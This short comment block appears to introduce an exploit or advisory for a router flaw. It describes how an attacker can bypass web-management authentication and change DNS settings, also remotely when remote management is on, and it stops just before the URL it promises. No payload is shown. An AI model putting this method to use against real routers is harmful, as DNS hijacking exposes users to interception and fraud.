#  This security hole allows an attacker to bypass
#  authentication and change the DNS. When the
#  administrator is logged in the web  management
#  interface, an attacker may be able to completely
#  bypass authentication phase and connect to the
#  web management interface with administrator's
#  credentials. This attack can also be performed
#  by an external attacker who connects to the
#  router's public IP address, if remote management
#  is enabled. To change the DNS without logging
#  into web management interface use the following URL:
